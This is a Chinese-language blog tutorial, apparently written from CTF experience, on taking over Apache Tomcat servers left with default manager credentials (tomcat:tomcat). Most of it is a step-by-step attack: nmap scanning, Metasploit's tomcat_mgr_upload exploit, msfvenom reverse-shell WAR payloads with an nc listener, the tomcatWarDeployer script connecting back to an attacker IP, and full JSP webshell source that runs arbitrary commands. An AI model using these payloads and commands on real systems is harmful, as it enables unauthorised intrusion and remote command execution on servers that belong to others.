大家好,本文我想分享一下我的經驗,如果你的Tomcat應用設置的是默認登陸憑證時(Tomcat:Tomcat)如何進行利用?當我在打CTF時,很多次我都發現目標主機上的Tomcat應用都是配置的默認登陸憑證,這有助於我們拿到主機的遠程shell。因此,我感覺應該記錄一下所有攻擊Tomcat應用並獲取遠程主機webshell的方法。
目錄
Tomcat經過身份驗證的上傳代碼執行
生成.war格式的後門
Tomcat war部署腳本
生成JSP webshell
首先使用nmap進行掃描,看看8080端口是否運行著Tomcat服務
nmap -sV -p8080 192.168.1.101
從掃描結果可以看到,8080端口是開放的,運行著Apache Tomcat。我們用瀏覽器來訪問以下目標IP地址,後面帶上端口號。我們可以看到一個HTTP身份認證頁面來登陸Tomcat管理後臺。
Tomcat經過身份驗證的上傳代碼執行
目標服務器是Apache Tomcat,而且洩露了管理後臺,我們可以利用一個模塊來執行payload。這個payload作為一個war文件上傳,這個payload包含了一個jsp應用,該jsp應用使用POST方式向/manager/html/upload組件發起請求。請注意,根據目標主機的不同,這個payload的設置也會有所不同。比如,如果你的目標主機是Windows,那麼你得使用原生的windows payload。
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.1.101
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat
msf exploit(multi/http/tomcat_mgr_upload) > exploit
如圖所示,我們可以看到我們已經拿下了目標主機的meterpreter會話:
生成.war格式的後門
我們可以使用msfvenom來為java和jsp payload生成一個.war格式的後門。你要做的就是按照下面提供的語法來創建一個.war格式的文件並啟動nc進行監聽:
Syntax: msfvenom -p [payload] LHOST=[Kali Linux IP] LPORT=[1234] -f [file format] > [file name]
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=1234 -f war > shell.war
nc -lvp 1234
現在,使用默認的登陸憑證Tomcat:tomcat登陸到Tomcat管理後臺中,登陸成功後你就能看到管理員面板,在這裡你可以上傳.war文件。
如圖所示,你可以看到我已經在截圖中圈出了“瀏覽惡意的shell.war文件進行部署”。一旦你成功上傳你的war文件,在應用表中,你可以看到一個跟你war文件名字相同的目錄。
想要執行你的war文件,你需要進入該目錄並點擊war文件,或者是直接在URL裡訪問。
一旦你執行了war文件,你就可以通過nc獲得一個反向連接。
耶,我們又一次獲得了一個遠程主機的webshell。
Tomcat War部署腳本
這是一個滲透測試工具,旨在利用Apache Tomcat憑證以自動生成和部署JSP後門,一旦之後觸發這個後門,就會返回一個令人大快人心的shell了(不管是通過web gui還是監聽綁定到目標主機的端口或者是回連到攻擊者的反向TCP payload)。
實際上,它會動態的生成JSP後門war包,然後使用pentester提供的有效的HTTP身份認證憑證(或者自定義憑證,一般都是Tomcat:tomcat)登陸到Tomcat管理界面中並且將其部署到Tomcat應用程序中。
部署腳本你可以在這裡進行下載:
https://github.com/mgeeky/tomcatWarDeployer
git clone https://github.com/mgeeky/tomcatWarDeployer
cd tomcatWarDeployer
ls
現在再按照語法來對目標主機進行漏洞利用,不用再手動上傳war文件了。
Syntax : ./tomcatWarDeployer.py -U [usrename] -p [password]-H [Kali Linux IP]-p [Listening port] [target_IP]:[tomcat_port]
./tomcatWarDeployer.py -U tomcat -P tomcat -H 192.168.1.108 -p 4567 192.168.1.101:8080
一旦執行了上述命令,我們就可以直接獲得一個webshell了,如下圖所示:
生成JSP webshell
接下來,我們就來看看如何生成和部署webshell來獲得Tomcat應用中的執行命令。
首先,我們需要寫一個webshell並且打包成war格式。我們可以使用下面的代碼來寫一個webshell:
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"
"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
保存代碼為index.jsp文件,然後使用下列命令來打包:
mkdir webshell
cp index.jsp webshell/
cd webshell
jar -cvf ../webshell.war *
執行完這條命令,你就能生成一個war文件,你可以將這個war文件部署在Tomcat應用中。
如下圖所示,你可以看到,我已經成功上傳並部署了webshell.war文件,現在我們點擊這個文件來執行:
在執行/webshell時,你會得到一個404錯誤頁面,現在再執行webshell下的index.jsp文件,如下:
http://192.168.1.106:8080/webshell/index.jsp
訪問了上述URL後,你會得到一個命令執行的表單,現在你就可以在這個表單上任意執行cmd命令了,如圖:
本文到此結束,希望大家有所收穫。
閱讀更多 運維猿 的文章